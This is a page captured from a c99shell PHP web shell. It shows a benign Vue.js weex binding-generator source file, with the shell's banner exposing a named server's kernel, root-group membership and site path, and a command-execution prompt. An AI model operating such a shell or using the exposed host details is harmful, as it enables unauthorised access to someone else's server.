Software: Apache. PHP/8.1.30 uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root) Safe-mode: OFF (not secure) /home/picotech/domains/inventory.picotech.app/public_html/node_modules/vue/src/platforms/weex/util/ drwxr-xr-x |
Viewing file: Select action/file-type: /* @flow */ // import { warn } from 'core/util/index' // this will be preserved during build // $flow-disable-line const acorn = require('acorn') // $flow-disable-line const walk = require('acorn/dist/walk') // $flow-disable-line const escodegen = require('escodegen') export function nodeToBinding (node: Object): any { switch (node.type) { case 'Literal': return node.value case 'Identifier': case 'UnaryExpression': case 'BinaryExpression': case 'LogicalExpression': case 'ConditionalExpression': case 'MemberExpression': return { '@binding': escodegen.generate(node) } case 'ArrayExpression': return node.elements.map(_ => nodeToBinding(_)) case 'ObjectExpression': { const object = {} node.properties.forEach(prop => { if (!prop.key || prop.key.type !== 'Identifier') { return } const key = escodegen.generate(prop.key) const value = nodeToBinding(prop.value) if (key && value) { object[key] = value } }) return object } default: { // warn(`Not support ${node.type}: "${escodegen.generate(node)}"`) return '' } } } export function generateBinding (exp: ?string): any { if (exp && typeof exp === 'string') { let ast = null try { ast = acorn.parse(`(${exp})`) } catch (e) { // warn(`Failed to parse the expression: "${exp}"`) return '' } let output = '' walk.simple(ast, { Expression (node) { output = nodeToBinding(node) } }) return output } } |
:: Command execute :: | |
--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0035 ]-- |